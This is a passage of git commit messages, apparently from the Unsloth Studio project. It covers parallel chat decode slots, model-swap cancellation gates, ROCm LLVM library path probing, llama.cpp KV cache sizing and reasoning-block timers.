source contract in test_model_picker_contracts.py, each mutation-checked.
174 passed across the backend slot/admission/training suites, 56 across the
frontend contract suites.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the slot control when re-adopting the running model, and never record slots for a diffusion load
Two follow-ups from the latest review round.
The first is a regression from c796393. That commit cleared the slot control
whenever hydratingExistingModel was set, to stop model A's count following onto
model B. But that flag is also set on the resident-model adopt path: when the
store checkpoint is an external provider id and the user re-picks the still
loaded local model, applyActiveModelStatusToStore is called with the external
id as previousCheckpoint, so the flag is unconditionally true. The clear then
wiped the config applyPerModelConfigToRuntime had restored two lines earlier,
and it was the only knob that did, because the siblings re-adopt the status
echo while this one cleared. Gate the clear on the tab's own baseline no longer
matching the running count: a genuine A to B swap still clears, re-adopting the
same model keeps its value.
The second revises an earlier call of mine. I rejected the diffusion phantom as
cosmetic because the backend ignores the value on every send. The sharpened
report is right and my rejection was wrong: capturePresetLoadConfig records
nParallel with no model gate, a Preset carries no model id, and applying one
writes nParallel for whatever model is current. So a count recorded against a
diffusion model, which the backend never applied, rides a saved preset onto a
text GGUF and becomes a real override the user never chose. Record slots only
when the load actually committed them, on all three load builders.
Tests: two source contracts in test_model_picker_contracts.py, both mutation
checked. Frontend typecheck clean, 58 passed across the contract and preset
suites.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Clear the slot baseline when status reports a model without slots
Hydrating from a GGUF to a slotless model left loadedNParallel at the previous
model's count: the seed only runs when the echo is non-null, and the control
clear added earlier touches nParallel alone. The stale baseline is what a
failed-switch rollback re-sends, and preset capture reads it, so it could claim
slots for a model that never used them.
Clear it when status describes a model that cannot have slots. /status omits
the echo entirely for non-GGUF and sends an explicit null for the diffusion
runner, so keying on is_gguf === false or an explicit null covers both while an
absent field on a GGUF, which is how an older backend reports one, still leaves
the baseline alone.
Test mutation checked; frontend typecheck clean against a fresh npm ci.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Distinguish a same-model re-adopt from a model swap, and size the training guard at the slots that launch for PR #7447
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the blank slot control across a failed-switch rollback for PR #7447
* Restore a remembered slot override when hydrating a fresh store for PR #7447
* Tighten comments for PR #7447
* Restore a remembered slot override on a model switch too for PR #7447
* Tighten comments and docstrings for PR #7447
* Take the rollback slot intent from the picker's pre-switch snapshot for PR #7447
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
* fix(rocm): prefer system LLVM runtime on native Linux
* Fix/adjust the nested LLVM probe for PR #7448: lib64 hosts and non-directories
Two gaps found while simulating the fix against real ROCm layouts.
1. lib64 hosts got no LLVM dir. The candidate was built from the HSA dir, so a
host with libhsa-runtime64 under lib64 probed <root>/lib64/llvm/lib. ROCm
installs LLVM under <root>/lib/llvm regardless, so that host kept binding
system libamd_comgr to the bundle's libLLVM: exactly the bug #7446 reports.
Probe both spellings, the HSA dir's own first so a genuine lib64 layout still
wins. When lib_sub is already "lib" the seen set collapses them.
2. os.path.exists accepted a non-directory. The serve-time caller joins these
straight into LD_LIBRARY_PATH with no is-dir filter, so a file named
llvm/lib reached the loader. os.path.isdir instead.
Verified on a 27-case matrix built from real directory trees (not mocks), run on
both Windows and Linux against three revisions: main, this PR as-is, and this
commit. Zero regressions and zero reorderings of the pre-existing entries in
every case, and the installer and launcher copies never disagree. The lib64 case
goes [lib64] -> [lib64, lib/llvm/lib]; the file case drops the bogus entry; a
symlinked llvm/lib resolves correctly on Linux.
End-to-end loader check: built real ELF objects mirroring the shipped bundle
(RUNPATH=$ORIGIN, an incomplete libLLVM.so.23.0git next to llama-server, system
comgr from /opt/rocm/lib) and reproduced the reported failure verbatim, then
confirmed the prepend clears it:
before undefined symbol: LLVMInitializeSPIRVTarget -> after exit 0
Test helper now patches os.path.isdir alongside os.path.exists, else every fake
host reports its nested llvm dir as missing. New cases: lib64 finding llvm under
lib, lib64 preferring its own when both exist, and a real-filesystem check that a
non-directory is not prepended. Removing the lib fallback from one copy reddens
three tests including the two-copy parity guard.
tests/studio/install: 1361 passed on Linux, 4 pre-existing environmental
failures unchanged (3 managed-node-runtime under root, 1 the real /opt/rocm case
already covered by #7397). 30/30 on the helper suite on Windows and Linux.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: match llama.cpp SWA cache sizing
* Studio: account for batch-capped SWA ubatch
* Studio: match llama.cpp KV stream padding
* Match llama.cpp batch and FA-off cache sizing
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Skip unusable compact SWA slot saves
* Align KV planning with launched server
* Match cache type casing and narrow the compact SWA slot-save skip
The launcher tested the requested cache type case-sensitively while the budget
lowercases it via _planned_main_cache_types, so a Q8_0 request emitted no
--cache-type flag and llama.cpp ran f16 while the estimate priced q8_0 (1.01 GiB
under-reserved on a 27B SWA model at ctx 32768 with 4 slots).
The compact SWA slot-save skip keyed on the sliding window alone, but the
estimator's SWA path also requires key/value length. phi3 GGUFs report a window
without those dimensions and llama.cpp runs them non-SWA, so their slots restore
fine and were being skipped.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: preserve durations across reasoning blocks
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep a reasoning group's timer running when it reopens
A rendered reasoning group can be closed and then reopened: parseAssistantContent
coalesces adjacent reasoning parts, so a provider that emits each block as a
complete <think>...</think> chunk lands several blocks in one group. The tracker
wrote a group's duration once and never revisited it, so such a group froze at
its first close and displayed 0 seconds.
Measure from the first time an index becomes visible rather than from the last
startGroup, and reopen a closed group while its reasoning text is still growing.
Gating on growth is what stops the timer running on into the answer. A duration
supplied by the server is now recorded as authoritative so local timing cannot
overwrite it.
Also fill indices that a single delta skips. startGroup(n) could jump past
earlier indices and leave array holes, which JSON.stringify persists as null; a
skipped group became visible and closed inside the same chunk, so it gets a
measured zero instead.
Test discovery now globs tests/, so a second test file cannot be silently
skipped by CI, and tsconfig.test.json puts tests/ under typecheck for the first
time.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* feat(studio): run chats in parallel in the Chat tab
New Chat used to cancel whatever the current conversation was generating.
It now leaves it running, like switching to the Train or Export tab: the
sidebar shows which chats are still going, and Stop is per conversation.
Plain `unsloth studio` launched llama-server with one decode slot, so the
admission queue serialised every chat regardless of what the UI did. Both
entry points now default to the same slot count as `unsloth studio run`.
A model swap still ends every running chat, since they all decode on one
llama-server. /load and /unload now refuse with 409 and name those chats
unless the caller passes force_cancel_active, and the UI asks first.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): scope the composer tool badge to its own conversation
The green "Running Python: ..." badge above the composer read a single
global store value, so one chat's tool call showed above every other
chat's composer, including a brand-new empty one. Its elapsed counter
also restarted at 0 on every thread switch, and a run ending anywhere
cleared the badge everywhere.
Key the status by thread and store the moment it started, so each
conversation shows only its own tool call and the counter resumes rather
than restarts. Also adds a test that every conversation gets its own
tool sandbox directory, which parallel tool calls depend on.
* Fix stalled tool calls while awaiting approval for PR #7455
Three problems, all from the approval prompt behaving as though only one
chat could ever run.
Arguments were not streamed for a gated call, so the chat stayed blank for
as long as the model took to write the payload, which for a large file is
minutes. Nothing runs before the decision either way, and the code is what
is being approved, so python and terminal now stream their card while
gated. render_html stays suppressed: its card renders the payload.
The status read "Running ..." with a climbing timer while the call had not
started. It now reports that it is waiting for approval, then switches to
running once allowed.
The admission lease was held across the wait, so four unanswered prompts
held all four decode slots and no other chat could start while llama-server
sat idle. A parked run keeps its lease but no longer counts against
capacity.
Measured with four prompts left open: every gated call streamed its code,
none reported running, and a fresh chat answered in 0.4s where it
previously waited 290s and never did.
* Fix duplicated and truncated tool cards for PR #7455
A gated tool call rendered two cards: the provisional one that streams the
arguments, plus a second one keyed by the approval id. Only the second ever
got its tool_end, so the first spun "Running" for the rest of the chat.
Reuse the open part when the approval prompt arrives.
The terminal card also showed nothing but a 60-char trigger label, so a long
heredoc read as no progress at all. It now renders the command the same way
the Python card renders its script, and neither is capped at 10k chars.
Both cells moved inside the collapsible, so one chevron hides the code with
the output and Copy / Download exist only while the card is open. A card
parked on the prompt says so instead of counting up "Running".
* Fix review findings on the parallel-chat gate for PR #7455
Backend:
- /unload rechecks active generations under the lifecycle gate, like /load,
and lets its 409 through the catch-all instead of rewriting it as a 500.
- /load gates only once _load_model_impl has decided this is a real reload,
so an Apply on the already-loaded model no longer refuses, and the retry it
asks for no longer cancels every chat before returning already_loaded.
- The direct /v1/responses stream registers in the cancel registry, so a
non-forced unload can no longer tear llama-server down under it.
- run_server defaults to the same slot count as the CLI. colab.py calls it
without the argument, so Colab was still serialising every chat.
Frontend:
- Cancelling a backgrounded chat aborts its own request rather than only
posting a cancel id, which is the only thing that ends an external-provider
or audio run.
- The model-swap dialog counts local runs only, and falls back to the backend
when this tab's map is empty, so a reload or a second tab still gets asked.
- Context usage and the diffusion canvas are scoped to the chat that produced
them; a compare row reads activity from its member threads.
Tests:
- The extracted-source cancel harnesses supply the active-generations module,
which the tracked-cancel class now depends on.
* Fix the swap confirmation scope and cancel timing for PR #7455
A forced load cancelled every chat before the model identifier, GPU selection,
training coexistence and download checks had run, so a load that then failed
those checks stopped the chats and replaced nothing. The refusal still happens
early, but the destructive cancel now sits immediately before the teardown it
is paying for, and rechecks under the gate like /unload does.
The swap dialog only reconciled with the backend when this tab looked idle, so
one local chat was enough to hide a second tab's runs. Confirming then sent
force_cancel_active, which cancels every backend run, including the ones the
dialog never mentioned. The backend snapshot is now merged in every time, so
the dialog names what will actually stop. External-provider runs are never
registered there, so the union stays local-only.
Also drops the active-generations docstring claim about restoring sidebar
spinners, which nothing consumes.
* Defer destructive cancels and track every local stream for PR #7455
/unload cancelled the running chats before it had resolved that it unloads
anything. A stale model_path, which a second tab produces routinely, killed
every chat and then no-opped, leaving the resident model up. It now refuses
early and cancels only at each teardown, matching /load.
The swap dialog also stopped every chat locally the moment the user confirmed,
which threw away the two-phase backend behaviour: a load that then failed
identifier resolution, GPU validation or the training guard had already
truncated the replies. The backend now owns the cancel.
Three local streams decoded on llama-server without registering, so a
non-forced unload counted zero generations and tore the server down mid
response: /v1/completions streaming, and the plain and server-tool Anthropic
streams, the first of which is the default /v1/messages path. Note this makes
a non-forced load return 409 during those runs rather than draining quietly,
the same trade the /v1/responses fix made.
The safetensors tool loop still announced a gated call as running while it
waited on a human; only the GGUF loop had been fixed. A source-level parity
test now pins both.
Also drops stopAllChatThreads, which has no callers left.
* Studio: close three load/unload gate races found in review
Re-check the in-flight load guard after the stop-running-chats confirm.
The confirm always GETs active-generations before its zero-running
early-out, so the guard no longer sits atomically ahead of the
reservation and two picks in that window both reached performLoad over
the same refs. ejectModel had the same shape and gets the same re-check.
Reject a sidecar swap immediately before the forced cancel in both load
branches. The previous check was back at the top of preflight, so an
install reserving during identifier resolution, the tier probe, the
training guard or the download check made the post-drain recheck 409 a
load whose chats had already been stopped.
Enter the Anthropic passthrough's cancel tracker inside its body
generator. It was entered eagerly and returned through
_sse_streaming_response, which sets no unstarted_cleanup, so a response
whose body never started left the run registered forever and 409'd every
later non-forced load and unload.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim comments across the files this PR touches
Tightens the comments and doc blocks in the backend, CLI, tests and frontend
files changed by this PR: collapses multi-line explanations to a single line
where they still read clearly, and drops the ones the code already says.
No code changes, verified by an AST comparison against the previous commit.
* Studio: defer the destructive cancel and close two gate gaps
Move the forced cancel behind every check that can still reject a swap.
The drain now runs first with the runs it is about to cancel discounted,
so it waits only for inference the cancel cannot end, then the sidecar
check decides, then the cancel fires, then a second drain lets those runs
unwind before teardown. A sidecar install reserving during the drain no
longer 409s a load whose chats have already been stopped.
Track the non-streaming /v1/completions proxy. It was the last local
decode path missing from active_generations, so an unload, which runs no
drain, tore llama-server down under it and force_cancel_active could not
signal it. It now uses the same tracked cancel event and dedicated client
as the OpenAI pass-through.
Skip the client's preliminary unload while chats are generating and let
/load evict at its own post-preflight point instead. Forwarding
force_cancel_active there truncated replies before identifier
resolution, the GPU and training guards and the download check had run.
Keep per-thread context usage so returning to a chat whose background run
finished restores its bar instead of leaving it blank until the next turn.
Make the running-flag clear run-specific. Every run without a resolved
thread id shares the "__default" key, so concurrent compare panes could
clear each other's flag and strand a live stop handle.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: register the embeddings proxy with the swap gate
/v1/embeddings proxied straight through the pooled client with no tracked
cancel event, so it never appeared in active_generations. /unload runs no
idle drain, so a concurrent non-forced unload counted zero generations and
killed llama-server mid-request, and force_cancel_active had no event to
signal. Mirrors the completions proxy: tracked event, dedicated unpooled
client closed by a cancel/disconnect watcher, unregister in a nested
finally so a close failure cannot leave a phantom generation behind.
* Trim comments on the newest changes in this PR
Comments only, no code changes: shorten the ones added by the load-gate
ordering, embeddings and per-thread usage work down to the same density as
the rest of the diff.
* Studio: register the legacy generate stream with the swap gate
/generate/stream built a cancel event but never entered the tracker, so it
was invisible to active_generations. Being in the keep-warm middleware's
inference suffixes only covers /load, which drains; /unload does not, so a
non-forced unload passed the 409 gate and then blocked on the standard
backend's generation lock, and a forced swap had no event to signal.
Registered inside the body generator under a nested finally so a teardown
failure cannot skip the unregister.
The AST contract test asserted the cleanup finally by overwriting its flag
per Try node, so a nested try made the last one win. Accumulate instead,
which is what the existence claim meant.
* Studio: three more swap-gate gaps found in review
Register /audio/generate with the gate. TTS holds the model for the whole
request and /unload runs no drain, so unregistered a non-forced swap counted
zero generations and tore the model down mid-generation; the orchestrator
path only waits 15s for the generation lock, which real TTS exceeds. No
cancel keys: no backend takes a cancel_event for audio, so the event has no
observer and a forced swap still cannot interrupt audio already in flight.
Thread the tracked cancel event into the /v1/responses admission wait. It
was the only admission caller passing None, so a queued run could not be
reached by cancel_all() and a plain /inference/cancel could not stop it at
all. Same omission fixed at the upstream send there and on /v1/completions.
Let an unforced unload of a stale model path reach the no-op check. Before
this PR that request returned 200 and did nothing; the new gate refused it
with 409 for a request that reaches no teardown branch. Gate both refusal
passes on the disjunction of the route's own teardown conditions, including
not is_loaded, so a mid-load GGUF still refuses.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: register the remaining non-streaming decode paths
stream defaults to false on all three of these, so they are the ordinary
shape of their routes, and each holds a local backend for the whole
request. /unload runs no idle drain, so with no registry entry a non-forced
swap counted zero generations and tore the backend down mid-request instead
of returning 409, and a forced one had no event to signal.
Non-streaming /v1/messages: all three helpers ran with an empty registry,
since only the streaming siblings were tracked. Registered at the call site
because the pass-through takes no cancel_event of its own, and with no
cancel keys, matching those siblings.
Non-streaming standard chat and audio-input chat: the trackers in this route
sit inside their `if payload.stream:` arms, so neither else branch was
covered. The GGUF sibling already registers its own non-streaming branch.
Each exit is in a finally on the branch's existing try, so the except arms
are covered too: a leaked entry 409s every later swap until restart.
* Studio: tighten the swap-gate comments
Comment-only pass over the newest swap-gate registrations: collapse the multi-line rationales in /unload, the legacy generate stream, audio generation and the non-streaming chat branches, and the matching test preambles, to the shortest form that still carries the reason. No code changes.
* Studio: stop the reselect dialog promising a stop that never happens
Picking an external provider leaves the local model resident and stops the
status poll mirroring it, so reselecting that model showed the stop-chats
dialog, and /load then answered already_loaded ahead of its cancel hook.
Confirmed with the live backend: the same pick with force_cancel_active set
still returned already_loaded and the chat kept streaming. Not stopping
those chats is right, since the load never interrupts them, so remove the
prompt rather than honour it. Blanket-skipping is unsafe, because the same
id and variant with one sampling setting changed is a real reload and 409s,
so the branch only fires when a status fetch confirms the resident
checkpoint and variant match, and then adopts it without calling /load.
Redact native model paths from the active-generations response. Registering
/generate/stream recorded backend.active_model_name verbatim, which is an
absolute path for a native local model, and this route is the only place
that serialises it. Redacting at the response covers every tracker rather
than the one that surfaced it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep hydrated context usage in the per-thread map
The history loader restores a saved conversation's usage through
setContextUsage only, and it runs once per mount, so switching away and
back left the bar blank for a hydrated chat even after the per-thread map
landed. setContextUsage now writes the value through to the visible
thread's own entry and clears that entry when passed null, which covers
both hydration call sites and any future writer.
* Studio: unblock load cancellation and share unresolved thread keys
Run the two stop-loading fast paths ahead of the unload route's pre-gate
refusal. _unload_may_evict returns True for exactly the model being
cancelled, so the refusal was blocking the branch that cancels a load which
has replaced nothing and can interrupt no chat. The client made that
unrecoverable: cancelLoading sends the unload without force, drops the
result, and its abort never reaches /load, which takes no signal, so the
load ran on and could later cancel those chats and swap the model. Nothing
else is exempted; an unload that would tear down a serving model matches
neither fast path and still 409s. The comment claiming the client lets that
409 surface is corrected, since it discards it.
Hold every owner behind a shared thread key. Runs with no resolved thread id
share "__default" (concurrent compare panes, since startCompare clears
activeThreadId), so a single owner slot let a second run replace the first's
token and then delete the shared entry while it was still generating, and
the server-cancel map lost the older handle the same way. Both now hold a
list, the running and local flags survive until the last owner clears, and
stopChatThread stops every handle under the key.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: carry a confirmed swap into the sidecar install, key restored usage by thread
Picking a model that needs a newer transformers while chats generate raised the
"stop N chats" prompt, but the answer never reached the install that runs before
the load: /install-latest-transformers refused on those same chats and took no
force flag, so Retry hit the same 409 and nothing in the flow stopped them.
Carry force_cancel_active through the consent dialog into the installer. Only
the pre-gate fast path is skipped: the recheck under the lifecycle gate still
has to pass, so an unconfirmed caller is refused as before. The cancel runs last
inside the gate, after every check that can still reject the install, and the
drain behind it is bounded since it holds the gate and the sidecar reservation.
Also key restored context usage by the thread the loader read. history.load()
captures remoteId before two awaited round trips, so a switch inside that window
filed one thread's usage under another and setActiveThreadId kept re-applying it.
Preserve sibling owners when a run key is cleared without an owner: the image
rejection gate now uses its own token, and the reducer leaves owned runs alone.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: bound the post-cancel drains, and make cancellation reach the paths that ignored it
A forced swap cancels the chats it interrupts, then waits for them to unwind.
That wait had no deadline while holding the lifecycle gate, and TTS on the
subprocess backend observes no cancel event at all, so one audio generation
could pin every load, unload and new request for its whole duration. Bound both
post-cancel drains. Pre-cancel drains stay unbounded: the swap can still be
refused there, so shortening them would weaken what they protect.
/unload had the opposite problem and no drain at all, cancelling and tearing
down on the next line, which turned a clean stream end into a dropped
connection. Give it the same bounded wait, gated on the cancel having cancelled
something so an idle Eject pays nothing.
Make the cancel actually land where it can. GGUF TTS now takes a cancel_event
and a watcher closes its client to break the blocking POST. The Anthropic
non-streaming pass-through did the same thing the completions and embeddings
paths used to: register with the gate, then run both POSTs on the pooled client
that cannot be closed. It now uses a per-request client like they do.
Also: park and unpark the admission queue the reservation actually holds, since
queues are keyed by base_url and a reload mints a new port; key tool output by
remoteId on both sides, so the first turn of a New Chat stops writing under one
key and reading another; and give tool status a run owner, so a finishing run
cannot blank the badge a concurrent one is still showing.
Clamp --parallel to 1 on a llama-server without --kv-unified. The new default of
4 would otherwise split -c four ways on such a build, quartering the context
window for a feature it cannot serve.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: scope a chat's Stop to its own generation, and clear the way before a confirmed install
Safetensors generation is serialized on _gen_lock and the worker has a single
cancel event, so a chat still queued on that lock owns no generation. Its Stop
handler called reset_generation_state() anyway, which set the shared event and
ended whichever conversation was actually running. Parallel chats is what makes
that reachable.
_generate_inner now records its cancel_event as the current holder once it takes
the lock, and reset_generation_state drops a reset from anyone else. Every route
call site passes its own request event. A reset with no event stays global, so
unload and model switch cannot leave a generation alive, and a reset while
nothing runs still resets, so an error path before generation is not a no-op.
The other two backends take the argument too, or the standard one raises
TypeError on every cancel.
The sidecar install had the mirror of the /load ordering problem: it cancelled
the chats first and drained second, so an unrelated counted request the cancel
cannot reach (a count_tokens, say) was still there for the recheck, which then
refused an install that had already stopped every chat for nothing. Drain the
unreachable remainder first, discounting the registered chats, then cancel.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: close the windows the previous round's fixes left open
Three follow-ups, two of them holes in the fixes just before them.
The worker claim went in after _send_cmd, so the command was already running
unclaimed and a queued chat's Stop in that window still reset it. Claim first,
with the send inside the same try, so a failed send releases it too.
Tool status kept one entry per key with an owner. That stops a foreign clear but
not an overwrite: under the shared unresolved-thread key the second run replaced
the first's entry, and its own clear then removed the only one while the first
tool was still running. Keep per-run entries and render the newest.
/unload gated its drain on having cancelled something, so a request that passed
the keep-warm middleware but had not reached its tracker yet was invisible to it
and the teardown landed on an already-admitted request. Drain on the middleware
count instead, which covers that window as well as the cancelled runs, then
re-cancel whatever registered while waiting. Bounded, not a refusal: an unload is
deliberate, and on expiry it proceeds exactly as before.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim the parallel-chats comments to their reasons
Compress the multi-line rationales added by this branch into shorter forms and drop
restatements of the code below them. The reasons behind the drain bounds, the deferred
cancel, the per-request generation ownership and the thread-scoped tool and usage keys
are kept, just said in fewer lines.
* Studio: own the worker per generation, and make a resumed chat requeue for its slot
Ownership was a single lock holder, so dispatched runs (compare mode bypasses
_gen_lock by design) never claimed it and the guard fell straight through to the
global reset: a Stop on one of them ended its siblings. Track the generations
actually running instead, claimed before the send and released in the same
finally on both paths. A reset still proceeds when nothing is running, so an
error path ahead of generation is not swallowed.
park() hands the freed slot to a waiter, so a chat resuming from a tool approval
could take it back while that waiter was still decoding, putting two holders on
a one-slot server and sending the resumed tool loop past the admission limit.
unpark_async waits for room; the plain unpark stays for a holder tearing down,
which will not decode again.
Audio only observed its cancel event on a forced swap. An explicit Stop just
aborts the fetch, and this route has no cancel id, so llama-server ran on to the
request timeout after the chat reported it stopped. Watch the disconnect.
Also read tool status by remoteId, matching the key the adapter writes and the
fix already made for tool output, and stop an unresolved run from writing its
usage into whichever conversation the user moved to.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: let only the generation the worker is running speak for it, and hold a slot for a resuming chat
The ownership list recorded admission, but the subprocess runs generations one
at a time, so a dispatched request queued behind another counted as an owner and
its Stop signalled the shared cancel event, ending the request that was actually
running. Keep admission for release bookkeeping and gate ownership on execution
instead, promoted when the worker first answers that request. Nothing executing
still permits a reset, so an error path ahead of generation is not swallowed.
The worker has one cancel event and no per-request cancellation, so this decides
who may pull the lever rather than making the lever per-request.
A resuming chat also polled for a slot it could never see: release() grants to
the next waiter under the same lock, so later arrivals overtook an approved chat
indefinitely. A pending unpark now reserves the next slot and they queue behind
it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: cover the prefill window, and keep a first turn's tool output readable
Gating worker ownership on execution left the interval between the send and the
first response uncovered: nothing is executing then, and the empty case admitted
anyone, so a queued chat's Stop still ended the one in prefill. Split the empty
case. Nothing claimed at all still permits a reset, so an error path ahead of
generation is not swallowed; claimed but unanswered resolves to the oldest
claim, which is what a FIFO command queue is working on.
Putting both sides of the tool-output scope on remoteId left the first turn of a
New Chat writing under the unresolved scope for its whole life while the readers
recomputed the moment the autosave assigned an id, so the card blanked mid-run.
The readers now fall back to the unresolved scope, which only an unpersisted
first turn can occupy.
* Studio: order the parked approvals, and tie a worker claim to its enqueue
The reservation added for admission fairness was a bare count, so every approved
holder counted against every other: park two chats, approve both, and once the
last decoder released, nothing could ever satisfy the check again. That is a
deadlock where the problem it fixed was only unfairness. Make it a FIFO ticket
so a pending unpark blocks the ones behind it and no others.
_owns_worker reads claim order to decide which request the worker is prefilling,
which only holds if claiming and enqueuing cannot interleave. Hold one lock
across both on the dispatched and the locked path.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: follow a first turn's run when its thread gets an id, and key the denoising canvas per chat
A run started before its thread existed filed every handle under "__default". Nothing
moved them once autosave assigned the real id, so the sidebar row showed no spinner and
Stop could not reach the generation, which kept holding a slot.
adoptDefaultThreadRun re-keys the run maps onto the real id from the thread adapter's
initialize(), where the id first exists; anything already filed under that id wins, since
that is a later run. The adapter captures its key once at run start, so it now resolves
the live key per use through runKeyForOwner, looking its own serverCancel up in the owner
map. Without that the migrated entries are stranded and the spinner never clears.
The denoising canvas was one global slot, so two diffusion chats overwrote each other and
the ownership tag then hid the visible preview until that thread emitted again. It is now
activeDiffusionCanvasByThreadId, written and cleared per thread, and the frame no longer
carries a threadId of its own. The bubble reads threadListItem.remoteId, dropping the dead
threadListItem.id arm: the writer tags unstable_threadId, which is exactly remoteId.
Two existing backend tests needed the same treatment. _bare_orchestrator skips __init__, so
it now sets the claim bookkeeping the worker ownership check reads. The Anthropic
passthrough gate test anchored on comment prose that a rewrap had broken; it anchors on the
code instead.
* Studio: hand the worker over cleanly between generations, and stop unresolved runs sharing each other's state
Worker ownership moved off the consumer and onto the dispatcher. Consumers read their
mailbox whenever they get around to it, so a request whose gen_done had been routed still
owned the worker while the next one ran, and a late Stop for it cancelled that one. The
dispatcher is the only place responses arrive in the order the worker produced them: it
now retires a request at its terminal response and promotes the next one, and answering a
request makes it the sole executor, since the subprocess runs one generation at a time.
reserve()'s immediate path ignored the unpark tickets that _grant_waiters_locked already
honours, so a request arriving between a slot freeing and an approved chat's next poll
took it, repeatedly. It applies the same reservation now.
Three places let concurrent first turns share state through the "__default" key. Nothing
links a run filed there to the id its thread later receives, so rather than guess, each
now declines when the key is ambiguous: adoption only re-keys a lone run, the composer
badge only claims a lone status, and the tool-output fallback only applies to a thread
that is still running. That leaves two concurrent first turns where they were before
adoption existed instead of handing one thread the other's handles.
A first turn's usage was never filed, because its key stayed null for the whole run while
autosave moved activeThreadId to the real id, so the context bar went blank after the
first reply. It resolves the adopted key like the cleanup handles do.
Cancelling a forced load left the UI with no model: the previous one stays resident until
/load's teardown, and the cancel path cleared the checkpoint without rolling back. It now
resyncs from the backend, which is right whether or not the load got that far.
The sidecar install drain is weighted 1:4 rather than halved, total unchanged. Only the
second half benefits from patience, and cutting it short refused installs whose chats had
already been stopped for nothing.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: give a first turn its real thread id before the run starts
A first turn filed every run handle under a shared unresolved key because
assistant-ui binds unstable_threadId before the thread is persisted. Two of them
overlapping there is unresolvable afterwards, and the last round's migration could
only decline rather than guess, which left neither sidebar row showing its run.
The id is available earlier than I claimed. append() already tracks
threadListItem.initialize() by the user message id, and createPersistedRunAdapter
already awaits that promise before invoking the adapter, so the thread is persisted
by the time the run begins. It was only being discarded: the tracked promise resolved
to void. It now resolves to the assigned id, and the wrapper hands it to the adapter
when assistant-ui had none. An id that is already set is never replaced, since that
would move a running chat's handles out from under the row watching them. The
existing unresolved-key guards stay as a safety net but should no longer carry weight.
The sidebar counted running thread ids rather than rows, so one compare conversation
read as two chats. It folds ids into rows through the same threadIds the row spinner
uses, and still counts a running id that matches no row.
_TrackedCancel always registered kind="chat", so an embeddings or raw completions
request appeared in the model-swap prompt as an unnamed conversation and confirming
cancelled it while calling it a chat. The non-conversation routes now pass their own
kind, and the prompt says "requests" whenever the snapshot is not all chats.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: withhold the shared worker cancel from a request the worker has left
Moving ownership to the dispatcher fixed reset_generation_state, but the token loop
signals the shared worker event directly and did not carry the same rule. A dispatched
consumer runs with mark_started off and can still be draining tokens buffered before
its gen_done was routed, so stopping it there ended whichever request the worker had
started next.
It now signals only when _owns_worker agrees, the same predicate reset_generation_state
uses. The local drain and return are unconditional, since those touch nothing but this
stream. The remaining _cancel_generation callers are deliberately global: subprocess
shutdown, the pre-load kill and unload_model.
* Studio: add the AGPL-3.0 header to the first-turn identity test
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: stop the dispatcher and a _gen_lock stream fighting over the response queue
Nothing stopped the dispatcher starting under a _gen_lock generation, so once compare
was opened while an ordinary chat was still streaming, both consumed _resp_queue and
whichever response the dispatcher took without a mailbox was dropped, gen_done included.
That chat truncated or hung. This PR is what makes it reachable, since navigating into
compare no longer ends the chat behind it.
Delaying the dispatcher would serialise compare behind whatever chat happens to be
streaming, so the direct readers get a mailbox instead. _direct_reader returns a reader,
a cancel drain and a release, and files the mailbox under _direct_mailboxes rather than
_mailboxes, which means "compare requests are in flight" to the unload and distributed
paths and must not count an ordinary chat.
Both directions close. The dispatcher finds the direct reader's mailbox instead of
dropping. And this reader can already be blocked on the queue when a compare request's
dispatcher starts, so a response that is not ours goes to its own mailbox rather than
being consumed, which would have corrupted the chat and hung the pane. All three
_gen_lock readers use it, and the cancel drain goes through it too.
The sidebar's return target still picked a raw pane id while the count grouped by row,
and /chat addresses compare with `compare`, not `thread`. It resolves through the same
